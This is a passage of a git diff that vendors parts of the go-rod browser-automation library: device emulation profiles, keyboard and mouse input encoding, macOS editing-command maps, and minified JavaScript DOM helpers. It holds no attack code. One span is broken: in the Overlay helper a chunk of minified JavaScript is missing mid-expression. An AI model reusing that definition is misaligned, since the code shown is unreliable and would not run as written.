AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 1024, + Height: 768, + }, + Vertical: ScreenSize{ + Width: 768, + Height: 1024, + }, + }, + } + + // IPadPro device. + IPadPro = Device{ + Title: "iPad Pro", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 1366, + Height: 1024, + }, + Vertical: ScreenSize{ + Width: 1024, + Height: 1366, + }, + }, + } + + // BlackberryPlayBook device. + BlackberryPlayBook = Device{ + Title: "Blackberry PlayBook", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.1.0; en-US) AppleWebKit/536.2+ (KHTML like Gecko) Version/7.2.1.0 Safari/536.2+", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 1, + Horizontal: ScreenSize{ + Width: 1024, + Height: 600, + }, + Vertical: ScreenSize{ + Width: 600, + Height: 1024, + }, + }, + } + + // Nexus10 device. + Nexus10 = Device{ + Title: "Nexus 10", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 10 Build/MOB31T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 1280, + Height: 800, + }, + Vertical: ScreenSize{ + Width: 800, + Height: 1280, + }, + }, + } + + // Nexus7 device. + Nexus7 = Device{ + Title: "Nexus 7", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 7 Build/MOB30X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 960, + Height: 600, + }, + Vertical: ScreenSize{ + Width: 600, + Height: 960, + }, + }, + } + + // GalaxyNote3 device. + GalaxyNote3 = Device{ + Title: "Galaxy Note 3", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 3, + Horizontal: ScreenSize{ + Width: 640, + Height: 360, + }, + Vertical: ScreenSize{ + Width: 360, + Height: 640, + }, + }, + } + + // GalaxyNoteII device. + GalaxyNoteII = Device{ + Title: "Galaxy Note II", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; U; Android 4.1; en-us; GT-N7100 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 640, + Height: 360, + }, + Vertical: ScreenSize{ + Width: 360, + Height: 640, + }, + }, + } + + // LaptopWithTouch device. + LaptopWithTouch = Device{ + Title: "Laptop with touch", + Capabilities: []string{"touch"}, + UserAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 1, + Horizontal: ScreenSize{ + Width: 1280, + Height: 950, + }, + Vertical: ScreenSize{ + Width: 950, + Height: 1280, + }, + }, + } + + // LaptopWithHiDPIScreen device. + LaptopWithHiDPIScreen = Device{ + Title: "Laptop with HiDPI screen", + Capabilities: []string{}, + UserAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 1440, + Height: 900, + }, + Vertical: ScreenSize{ + Width: 900, + Height: 1440, + }, + }, + } + + // LaptopWithMDPIScreen device. + LaptopWithMDPIScreen = Device{ + Title: "Laptop with MDPI screen", + Capabilities: []string{}, + UserAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 1, + Horizontal: ScreenSize{ + Width: 1280, + Height: 800, + }, + Vertical: ScreenSize{ + Width: 800, + Height: 1280, + }, + }, + } + + // MotoG4 device. + MotoG4 = Device{ + Title: "Moto G4", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 6.0.1; Moto G (4)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 3, + Horizontal: ScreenSize{ + Width: 640, + Height: 360, + }, + Vertical: ScreenSize{ + Width: 360, + Height: 640, + }, + }, + } + + // SurfaceDuo device. + SurfaceDuo = Device{ + Title: "Surface Duo", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 720, + Height: 540, + }, + Vertical: ScreenSize{ + Width: 540, + Height: 720, + }, + }, + } + + // GalaxyFold device. + GalaxyFold = Device{ + Title: "Galaxy Fold", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 3, + Horizontal: ScreenSize{ + Width: 653, + Height: 280, + }, + Vertical: ScreenSize{ + Width: 280, + Height: 653, + }, + }, + } +) diff --git a/backend/vendor/github.com/go-rod/rod/lib/devices/utils.go b/backend/vendor/github.com/go-rod/rod/lib/devices/utils.go new file mode 100644 index 0000000..20adc7f --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/devices/utils.go @@ -0,0 +1,13 @@ +package devices + +// Clear is used to clear overrides. +var Clear = Device{clear: true} + +func has(arr []string, str string) bool { + for _, item := range arr { + if item == str { + return true + } + } + return false +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/input/README.md b/backend/vendor/github.com/go-rod/rod/lib/input/README.md new file mode 100644 index 0000000..36687bf --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/input/README.md @@ -0,0 +1,3 @@ +# input + +A lib to help encode inputs. diff --git a/backend/vendor/github.com/go-rod/rod/lib/input/keyboard.go b/backend/vendor/github.com/go-rod/rod/lib/input/keyboard.go new file mode 100644 index 0000000..85b3665 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/input/keyboard.go @@ -0,0 +1,138 @@ +// Package input ... +package input + +import ( + "github.com/go-rod/rod/lib/proto" + "github.com/ysmood/gson" +) + +// Modifier values. +const ( + ModifierAlt = 1 + ModifierControl = 2 + ModifierMeta = 4 + ModifierShift = 8 +) + +// Key symbol. +type Key rune + +// keyMap for key description. +var keyMap = map[Key]KeyInfo{} + +// keyMapShifted for shifted key description. +var keyMapShifted = map[Key]KeyInfo{} + +var keyShiftedMap = map[Key]Key{} + +// AddKey to KeyMap. +func AddKey(key string, shiftedKey string, code string, keyCode int, location int) Key { + if len(key) == 1 { + r := Key(key[0]) + if _, has := keyMap[r]; !has { + keyMap[r] = KeyInfo{key, code, keyCode, location} + + if len(shiftedKey) == 1 { + rs := Key(shiftedKey[0]) + keyMapShifted[rs] = KeyInfo{shiftedKey, code, keyCode, location} + keyShiftedMap[r] = rs + } + return r + } + } + + k := Key(keyCode + (location+1)*256) + keyMap[k] = KeyInfo{key, code, keyCode, location} + + return k +} + +// Info of the key. +func (k Key) Info() KeyInfo { + if k, has := keyMap[k]; has { + return k + } + if k, has := keyMapShifted[k]; has { + return k + } + + panic("key not defined") +} + +// KeyInfo of a key +// https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent +type KeyInfo struct { + // Here's the value for Shift key on the keyboard + + Key string // Shift + Code string // ShiftLeft + KeyCode int // 16 + Location int // 1 +} + +// Shift returns the shifted key, such as shifted "1" is "!". +func (k Key) Shift() (Key, bool) { + s, has := keyShiftedMap[k] + return s, has +} + +// Printable returns true if the key is printable. +func (k Key) Printable() bool { + return len(k.Info().Key) == 1 +} + +// Modifier returns the modifier value of the key. +func (k Key) Modifier() int { + switch k.Info().KeyCode { + case 18: + return ModifierAlt + case 17: + return ModifierControl + case 91, 92: + return ModifierMeta + case 16: + return ModifierShift + } + return 0 +} + +// Encode general key event. +func (k Key) Encode(t proto.InputDispatchKeyEventType, modifiers int) *proto.InputDispatchKeyEvent { + tp := t + if t == proto.InputDispatchKeyEventTypeKeyDown && !k.Printable() { + tp = proto.InputDispatchKeyEventTypeRawKeyDown + } + + info := k.Info() + l := gson.Int(info.Location) + keypad := false + if info.Location == 3 { + l = nil + keypad = true + } + + txt := "" + if k.Printable() { + txt = info.Key + } + + var cmd []string + if IsMac { + cmd = macCommands[info.Key] + } + + e := &proto.InputDispatchKeyEvent{ + Type: tp, + WindowsVirtualKeyCode: info.KeyCode, + Code: info.Code, + Key: info.Key, + Text: txt, + UnmodifiedText: txt, + Location: l, + IsKeypad: keypad, + Modifiers: modifiers, + Commands: cmd, + } + + return e +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/input/keymap.go b/backend/vendor/github.com/go-rod/rod/lib/input/keymap.go new file mode 100644 index 0000000..d5d84de --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/input/keymap.go @@ -0,0 +1,134 @@ +package input + +// Key names +// Reference: https://github.com/microsoft/playwright/blob/main/packages/playwright-core/src/server/usKeyboardLayout.ts +var ( + // Functions row. + // + Escape = AddKey("Escape", "", "Escape", 27, 0) + F1 = AddKey("F1", "", "F1", 112, 0) + F2 = AddKey("F2", "", "F2", 113, 0) + F3 = AddKey("F3", "", "F3", 114, 0) + F4 = AddKey("F4", "", "F4", 115, 0) + F5 = AddKey("F5", "", "F5", 116, 0) + F6 = AddKey("F6", "", "F6", 117, 0) + F7 = AddKey("F7", "", "F7", 118, 0) + F8 = AddKey("F8", "", "F8", 119, 0) + F9 = AddKey("F9", "", "F9", 120, 0) + F10 = AddKey("F10", "", "F10", 121, 0) + F11 = AddKey("F11", "", "F11", 122, 0) + F12 = AddKey("F12", "", "F12", 123, 0) + + // Numbers row. + // + Backquote = AddKey("`", "~", "Backquote", 192, 0) + Digit1 = AddKey("1", "!", "Digit1", 49, 0) + Digit2 = AddKey("2", "@", "Digit2", 50, 0) + Digit3 = AddKey("3", "#", "Digit3", 51, 0) + Digit4 = AddKey("4", "$", "Digit4", 52, 0) + Digit5 = AddKey("5", "%", "Digit5", 53, 0) + Digit6 = AddKey("6", "^", "Digit6", 54, 0) + Digit7 = AddKey("7", "&", "Digit7", 55, 0) + Digit8 = AddKey("8", "*", "Digit8", 56, 0) + Digit9 = AddKey("9", "(", "Digit9", 57, 0) + Digit0 = AddKey("0", ")", "Digit0", 48, 0) + Minus = AddKey("-", "_", "Minus", 189, 0) + Equal = AddKey("=", "+", "Equal", 187, 0) + Backslash = AddKey(`\`, "|", "Backslash", 220, 0) + Backspace = AddKey("Backspace", "", "Backspace", 8, 0) + + // First row. + // + Tab = AddKey("\t", "", "Tab", 9, 0) + KeyQ = AddKey("q", "Q", "KeyQ", 81, 0) + KeyW = AddKey("w", "W", "KeyW", 87, 0) + KeyE = AddKey("e", "E", "KeyE", 69, 0) + KeyR = AddKey("r", "R", "KeyR", 82, 0) + KeyT = AddKey("t", "T", "KeyT", 84, 0) + KeyY = AddKey("y", "Y", "KeyY", 89, 0) + KeyU = AddKey("u", "U", "KeyU", 85, 0) + KeyI = AddKey("i", "I", "KeyI", 73, 0) + KeyO = AddKey("o", "O", "KeyO", 79, 0) + KeyP = AddKey("p", "P", "KeyP", 80, 0) + BracketLeft = AddKey("[", "{", "BracketLeft", 219, 0) + BracketRight = AddKey("]", "}", "BracketRight", 221, 0) + + // Second row. + // + CapsLock = AddKey("CapsLock", "", "CapsLock", 20, 0) + KeyA = AddKey("a", "A", "KeyA", 65, 0) + KeyS = AddKey("s", "S", "KeyS", 83, 0) + KeyD = AddKey("d", "D", "KeyD", 68, 0) + KeyF = AddKey("f", "F", "KeyF", 70, 0) + KeyG = AddKey("g", "G", "KeyG", 71, 0) + KeyH = AddKey("h", "H", "KeyH", 72, 0) + KeyJ = AddKey("j", "J", "KeyJ", 74, 0) + KeyK = AddKey("k", "K", "KeyK", 75, 0) + KeyL = AddKey("l", "L", "KeyL", 76, 0) + Semicolon = AddKey(";", ":", "Semicolon", 186, 0) + Quote = AddKey("'", `"`, "Quote", 222, 0) + Enter = AddKey("\r", "", "Enter", 13, 0) + + // Third row. + // + ShiftLeft = AddKey("Shift", "", "ShiftLeft", 16, 1) + KeyZ = AddKey("z", "Z", "KeyZ", 90, 0) + KeyX = AddKey("x", "X", "KeyX", 88, 0) + KeyC = AddKey("c", "C", "KeyC", 67, 0) + KeyV = AddKey("v", "V", "KeyV", 86, 0) + KeyB = AddKey("b", "B", "KeyB", 66, 0) + KeyN = AddKey("n", "N", "KeyN", 78, 0) + KeyM = AddKey("m", "M", "KeyM", 77, 0) + Comma = AddKey(",", "<", "Comma", 188, 0) + Period = AddKey(".", ">", "Period", 190, 0) + Slash = AddKey("/", "?", "Slash", 191, 0) + ShiftRight = AddKey("Shift", "", "ShiftRight", 16, 2) + + // Last row. + // + ControlLeft = AddKey("Control", "", "ControlLeft", 17, 1) + MetaLeft = AddKey("Meta", "", "MetaLeft", 91, 1) + AltLeft = AddKey("Alt", "", "AltLeft", 18, 1) + Space = AddKey(" ", "", "Space", 32, 0) + AltRight = AddKey("Alt", "", "AltRight", 18, 2) + AltGraph = AddKey("AltGraph", "", "AltGraph", 225, 0) + MetaRight = AddKey("Meta", "", "MetaRight", 92, 2) + ContextMenu = AddKey("ContextMenu", "", "ContextMenu", 93, 0) + ControlRight = AddKey("Control", "", "ControlRight", 17, 2) + + // Center block. + // + PrintScreen = AddKey("PrintScreen", "", "PrintScreen", 44, 0) + ScrollLock = AddKey("ScrollLock", "", "ScrollLock", 145, 0) + Pause = AddKey("Pause", "", "Pause", 19, 0) + PageUp = AddKey("PageUp", "", "PageUp", 33, 0) + PageDown = AddKey("PageDown", "", "PageDown", 34, 0) + Insert = AddKey("Insert", "", "Insert", 45, 0) + Delete = AddKey("Delete", "", "Delete", 46, 0) + Home = AddKey("Home", "", "Home", 36, 0) + End = AddKey("End", "", "End", 35, 0) + ArrowLeft = AddKey("ArrowLeft", "", "ArrowLeft", 37, 0) + ArrowUp = AddKey("ArrowUp", "", "ArrowUp", 38, 0) + ArrowRight = AddKey("ArrowRight", "", "ArrowRight", 39, 0) + ArrowDown = AddKey("ArrowDown", "", "ArrowDown", 40, 0) + + // Numpad. + // + NumLock = AddKey("NumLock", "", "NumLock", 144, 0) + NumpadDivide = AddKey("/", "", "NumpadDivide", 111, 3) + NumpadMultiply = AddKey("*", "", "NumpadMultiply", 106, 3) + NumpadSubtract = AddKey("-", "", "NumpadSubtract", 109, 3) + Numpad7 = AddKey("7", "", "Numpad7", 36, 3) + Numpad8 = AddKey("8", "", "Numpad8", 38, 3) + Numpad9 = AddKey("9", "", "Numpad9", 33, 3) + Numpad4 = AddKey("4", "", "Numpad4", 37, 3) + Numpad5 = AddKey("5", "", "Numpad5", 12, 3) + Numpad6 = AddKey("6", "", "Numpad6", 39, 3) + NumpadAdd = AddKey("+", "", "NumpadAdd", 107, 3) + Numpad1 = AddKey("1", "", "Numpad1", 35, 3) + Numpad2 = AddKey("2", "", "Numpad2", 40, 3) + Numpad3 = AddKey("3", "", "Numpad3", 34, 3) + Numpad0 = AddKey("0", "", "Numpad0", 45, 3) + NumpadDecimal = AddKey(".", "", "NumpadDecimal", 46, 3) + NumpadEnter = AddKey("\r", "", "NumpadEnter", 13, 3) +) diff --git a/backend/vendor/github.com/go-rod/rod/lib/input/mac_comands.go b/backend/vendor/github.com/go-rod/rod/lib/input/mac_comands.go new file mode 100644 index 0000000..0e12172 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/input/mac_comands.go @@ -0,0 +1,125 @@ +package input + +import "runtime" + +// IsMac OS. +var IsMac = runtime.GOOS == "darwin" + +// commands for macOS +// https://github.com/microsoft/playwright/blob/main/packages/playwright-core/src/server/macEditingCommands.ts +var macCommands = map[string][]string{ + "Backspace": {"deleteBackward"}, + "Enter": {"insertNewline"}, + "NumpadEnter": {"insertNewline"}, + "Escape": {"cancelOperation"}, + "ArrowUp": {"moveUp"}, + "ArrowDown": {"moveDown"}, + "ArrowLeft": {"moveLeft"}, + "ArrowRight": {"moveRight"}, + "F5": {"complete"}, + "Delete": {"deleteForward"}, + "Home": {"scrollToBeginningOfDocument"}, + "End": {"scrollToEndOfDocument"}, + "PageUp": {"scrollPageUp"}, + "PageDown": {"scrollPageDown"}, + "Shift+Backspace": {"deleteBackward"}, + "Shift+Enter": {"insertNewline"}, + "Shift+NumpadEnter": {"insertNewline"}, + "Shift+Escape": {"cancelOperation"}, + "Shift+ArrowUp": {"moveUpAndModifySelection"}, + "Shift+ArrowDown": {"moveDownAndModifySelection"}, + "Shift+ArrowLeft": {"moveLeftAndModifySelection"}, + "Shift+ArrowRight": {"moveRightAndModifySelection"}, + "Shift+F5": {"complete"}, + "Shift+Delete": {"deleteForward"}, + "Shift+Home": {"moveToBeginningOfDocumentAndModifySelection"}, + "Shift+End": {"moveToEndOfDocumentAndModifySelection"}, + "Shift+PageUp": {"pageUpAndModifySelection"}, + "Shift+PageDown": {"pageDownAndModifySelection"}, + "Shift+Numpad5": {"delete"}, + "Control+Tab": {"selectNextKeyView"}, + "Control+Enter": {"insertLineBreak"}, + "Control+NumpadEnter": {"insertLineBreak"}, + "Control+Quote": {"insertSingleQuoteIgnoringSubstitution"}, + "Control+KeyA": {"moveToBeginningOfParagraph"}, + "Control+KeyB": {"moveBackward"}, + "Control+KeyD": {"deleteForward"}, + "Control+KeyE": {"moveToEndOfParagraph"}, + "Control+KeyF": {"moveForward"}, + "Control+KeyH": {"deleteBackward"}, + "Control+KeyK": {"deleteToEndOfParagraph"}, + "Control+KeyL": {"centerSelectionInVisibleArea"}, + "Control+KeyN": {"moveDown"}, + "Control+KeyO": {"insertNewlineIgnoringFieldEditor", "moveBackward"}, + "Control+KeyP": {"moveUp"}, + "Control+KeyT": {"transpose"}, + "Control+KeyV": {"pageDown"}, + "Control+KeyY": {"yank"}, + "Control+Backspace": {"deleteBackwardByDecomposingPreviousCharacter"}, + "Control+ArrowUp": {"scrollPageUp"}, + "Control+ArrowDown": {"scrollPageDown"}, + "Control+ArrowLeft": {"moveToLeftEndOfLine"}, + "Control+ArrowRight": {"moveToRightEndOfLine"}, + "Shift+Control+Enter": {"insertLineBreak"}, + "Shift+Control+NumpadEnter": {"insertLineBreak"}, + "Shift+Control+Tab": {"selectPreviousKeyView"}, + "Shift+Control+Quote": {"insertDoubleQuoteIgnoringSubstitution"}, + "Shift+Control+KeyA": {"moveToBeginningOfParagraphAndModifySelection"}, + "Shift+Control+KeyB": {"moveBackwardAndModifySelection"}, + "Shift+Control+KeyE": {"moveToEndOfParagraphAndModifySelection"}, + "Shift+Control+KeyF": {"moveForwardAndModifySelection"}, + "Shift+Control+KeyN": {"moveDownAndModifySelection"}, + "Shift+Control+KeyP": {"moveUpAndModifySelection"}, + "Shift+Control+KeyV": {"pageDownAndModifySelection"}, + "Shift+Control+Backspace": {"deleteBackwardByDecomposingPreviousCharacter"}, + "Shift+Control+ArrowUp": {"scrollPageUp"}, + "Shift+Control+ArrowDown": {"scrollPageDown"}, + "Shift+Control+ArrowLeft": {"moveToLeftEndOfLineAndModifySelection"}, + "Shift+Control+ArrowRight": {"moveToRightEndOfLineAndModifySelection"}, + "Alt+Backspace": {"deleteWordBackward"}, + "Alt+Enter": {"insertNewlineIgnoringFieldEditor"}, + "Alt+NumpadEnter": {"insertNewlineIgnoringFieldEditor"}, + "Alt+Escape": {"complete"}, + "Alt+ArrowUp": {"moveBackward", "moveToBeginningOfParagraph"}, + "Alt+ArrowDown": {"moveForward", "moveToEndOfParagraph"}, + "Alt+ArrowLeft": {"moveWordLeft"}, + "Alt+ArrowRight": {"moveWordRight"}, + "Alt+Delete": {"deleteWordForward"}, + "Alt+PageUp": {"pageUp"}, + "Alt+PageDown": {"pageDown"}, + "Shift+Alt+Backspace": {"deleteWordBackward"}, + "Shift+Alt+Enter": {"insertNewlineIgnoringFieldEditor"}, + "Shift+Alt+NumpadEnter": {"insertNewlineIgnoringFieldEditor"}, + "Shift+Alt+Escape": {"complete"}, + "Shift+Alt+ArrowUp": {"moveParagraphBackwardAndModifySelection"}, + "Shift+Alt+ArrowDown": {"moveParagraphForwardAndModifySelection"}, + "Shift+Alt+ArrowLeft": {"moveWordLeftAndModifySelection"}, + "Shift+Alt+ArrowRight": {"moveWordRightAndModifySelection"}, + "Shift+Alt+Delete": {"deleteWordForward"}, + "Shift+Alt+PageUp": {"pageUp"}, + "Shift+Alt+PageDown": {"pageDown"}, + "Control+Alt+KeyB": {"moveWordBackward"}, + "Control+Alt+KeyF": {"moveWordForward"}, + "Control+Alt+Backspace": {"deleteWordBackward"}, + "Shift+Control+Alt+KeyB": {"moveWordBackwardAndModifySelection"}, + "Shift+Control+Alt+KeyF": {"moveWordForwardAndModifySelection"}, + "Shift+Control+Alt+Backspace": {"deleteWordBackward"}, + "Meta+NumpadSubtract": {"cancel"}, + "Meta+Backspace": {"deleteToBeginningOfLine"}, + "Meta+ArrowUp": {"moveToBeginningOfDocument"}, + "Meta+ArrowDown": {"moveToEndOfDocument"}, + "Meta+ArrowLeft": {"moveToLeftEndOfLine"}, + "Meta+ArrowRight": {"moveToRightEndOfLine"}, + "Shift+Meta+NumpadSubtract": {"cancel"}, + "Shift+Meta+Backspace": {"deleteToBeginningOfLine"}, + "Shift+Meta+ArrowUp": {"moveToBeginningOfDocumentAndModifySelection"}, + "Shift+Meta+ArrowDown": {"moveToEndOfDocumentAndModifySelection"}, + "Shift+Meta+ArrowLeft": {"moveToLeftEndOfLineAndModifySelection"}, + "Shift+Meta+ArrowRight": {"moveToRightEndOfLineAndModifySelection"}, + + "Meta+KeyA": {"selectAll"}, + "Meta+KeyC": {"copy"}, + "Meta+KeyV": {"paste"}, + "Meta+KeyZ": {"undo"}, + "Shift+Meta+KeyZ": {"redo"}, +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/input/mouse.go b/backend/vendor/github.com/go-rod/rod/lib/input/mouse.go new file mode 100644 index 0000000..596891e --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/input/mouse.go @@ -0,0 +1,25 @@ +package input + +import "github.com/go-rod/rod/lib/proto" + +// MouseKeys is the map for mouse keys. +var MouseKeys = map[proto.InputMouseButton]int{ + proto.InputMouseButtonLeft: 1, + proto.InputMouseButtonRight: 2, + proto.InputMouseButtonMiddle: 4, + proto.InputMouseButtonBack: 8, + proto.InputMouseButtonForward: 16, +} + +// EncodeMouseButton into button flag. +func EncodeMouseButton(buttons []proto.InputMouseButton) (proto.InputMouseButton, int) { + flag := int(0) + for _, btn := range buttons { + flag |= MouseKeys[btn] + } + btn := proto.InputMouseButton("none") + if len(buttons) > 0 { + btn = buttons[0] + } + return btn, flag +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/js/helper.go b/backend/vendor/github.com/go-rod/rod/lib/js/helper.go new file mode 100644 index 0000000..c8e5282 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/js/helper.go @@ -0,0 +1,234 @@ +// Package js generated by "lib/js/generate" +package js + +// Element ... +var Element = &Function{ + Name: "element", + Definition: `function(e){return functions.selectable(this).querySelector(e)}`, + Dependencies: []*Function{Selectable}, +} + +// TriggerFavicon ... +var TriggerFavicon = &Function{ + Name: "triggerFavicon", + Definition: `function(){return new Promise((e,t)=>{var n=document.querySelector("link[rel~=icon]"),n=n&&n.href||"/favicon.ico",n=new URL(n,window.location).toString();const r=new XMLHttpRequest;r.open("GET",n),r.ontimeout=function(){t({errorType:"timeout_error",xhr:r})},r.onreadystatechange=function(){4===r.readyState&&(200<=r.status&&r.status<300||304===r.status?e({status:r.status,statusText:r.statusText,responseText:r.responseText}):t({errorType:"status_error",xhr:r,status:r.status,statusText:r.statusText,responseText:r.responseText}))},r.onerror=function(){t({errorType:"onerror",xhr:r,status:r.status,statusText:r.statusText,responseText:r.responseText})},r.send()})}`, + Dependencies: []*Function{}, +} + +// Elements ... +var Elements = &Function{ + Name: "elements", + Definition: `function(e){return functions.selectable(this).querySelectorAll(e)}`, + Dependencies: []*Function{Selectable}, +} + +// ElementX ... +var ElementX = &Function{ + Name: "elementX", + Definition: `function(e){var t=functions.selectable(this);return document.evaluate(e,t,null,XPathResult.FIRST_ORDERED_NODE_TYPE).singleNodeValue}`, + Dependencies: []*Function{Selectable}, +} + +// ElementsX ... +var ElementsX = &Function{ + Name: "elementsX", + Definition: `function(e){for(var t,n=functions.selectable(this),r=document.evaluate(e,n,null,XPathResult.ORDERED_NODE_ITERATOR_TYPE),i=[];t=r.iterateNext();)i.push(t);return i}`, + Dependencies: []*Function{Selectable}, +} + +// ElementR ... +var ElementR = &Function{ + Name: "elementR", + Definition: `function(e,t){var n=t.match(/(\/?)(.+)\1([a-z]*)/i),r=n[3]&&!/^(?!.*?(.).*?\1)[gmixXsuUAJ]+$/.test(n[3])?new RegExp(t):new RegExp(n[2],n[3]),t=functions.selectable(this),n=Array.from(t.querySelectorAll(e)).find(e=>r.test(functions.text.call(e)));return n||null}`, + Dependencies: []*Function{Selectable, Text}, +} + +// Parents ... +var Parents = &Function{ + Name: "parents", + Definition: `function(e){let t=this.parentElement;for(var n=[];t;)t.matches(e)&&n.push(t),t=t.parentElement;return n}`, + Dependencies: []*Function{}, +} + +// ContainsElement ... +var ContainsElement = &Function{ + Name: "containsElement", + Definition: `function(e){for(var t=e;null!=t;){if(t===this)return!0;t=t.parentElement}return!1}`, + Dependencies: []*Function{}, +} + +// InitMouseTracer ... +var InitMouseTracer = &Function{ + Name: "initMouseTracer", + Definition: `async function(e,t){var n;await functions.waitLoad(),document.getElementById(e)||((n=document.createElement("div")).innerHTML=t,(t=n.lastChild).id=e,t.style="position: absolute; z-index: 2147483647; width: 17px; pointer-events: none;",t.removeAttribute("width"),t.removeAttribute("height"),document.body.parentElement.appendChild(t))}`, + Dependencies: []*Function{WaitLoad}, +} + +// UpdateMouseTracer ... +var UpdateMouseTracer = &Function{ + Name: "updateMouseTracer", + Definition: `function(e,t,n){e=document.getElementById(e);return!!e&&(e.style.left=t-2+"px",e.style.top=n-3+"px",!0)}`, + Dependencies: []*Function{}, +} + +// Rect ... +var Rect = &Function{ + Name: "rect", + Definition: `function(){var e=functions.tag(this).getBoundingClientRect();return{x:e.x,y:e.y,width:e.width,height:e.height}}`, + Dependencies: []*Function{Tag}, +} + +// Overlay ... +var Overlay = &Function{ + Name: "overlay", + Definition: `async function(e,t,n,r,i,o){await functions.waitLoad();var s=document.createElement("div");s.id=e,s.style=` + "`" + `position: fixed; z-index:2147483647; border: 2px dashed red; + border-radius: 3px; box-shadow: #5f3232 0 0 3px; pointer-events: none; + box-sizing: border-box; + left: ${t}px; + top: ${n}px; + height: ${i}px; + width: ${r}px;` + "`" + `,r*i==0&&(s.style.border="none"),o?((e=document.createElement("div")).style=` + "`" + `position: absolute; color: #cc26d6; font-size: 12px; background: #ffffffeb; + box-shadow: #333 0 0 3px; padding: 2px 5px; border-radius: 3px; white-space: nowrap; + top: ${i}px;` + "`" + `,e.innerHTML=o,s.appendChild(e),document.body.parentElement.appendChild(s),window.innerHeight{var e,t=document.getElementById(n);null!==t&&(e=i.getBoundingClientRect(),o.left===e.left&&o.top===e.top&&o.width===e.width&&o.height===e.height||(t.style.left=e.left+"px",t.style.top=e.top+"px",t.style.width=e.width+"px",t.style.height=e.height+"px",o=e),setTimeout(s,r))};setTimeout(s,r)}`, + Dependencies: []*Function{Tag, Overlay}, +} + +// RemoveOverlay ... +var RemoveOverlay = &Function{ + Name: "removeOverlay", + Definition: `function(e){e=document.getElementById(e);e&&Element.prototype.remove.call(e)}`, + Dependencies: []*Function{}, +} + +// WaitIdle ... +var WaitIdle = &Function{ + Name: "waitIdle", + Definition: `function(t){return new Promise(e=>{window.requestIdleCallback(e,{timeout:t})})}`, + Dependencies: []*Function{}, +} + +// WaitLoad ... +var WaitLoad = &Function{ + Name: "waitLoad", + Definition: `function(){const n=this===window;return new Promise((e,t)=>{if(n){if("complete"===document.readyState)return e();window.addEventListener("load",e)}else void 0===this.complete||this.complete?e():(this.addEventListener("load",e),this.addEventListener("error",t))})}`, + Dependencies: []*Function{}, +} + +// InputEvent ... +var InputEvent = &Function{ + Name: "inputEvent", + Definition: `function(){this.dispatchEvent(new Event("input",{bubbles:!0})),this.dispatchEvent(new Event("change",{bubbles:!0}))}`, + Dependencies: 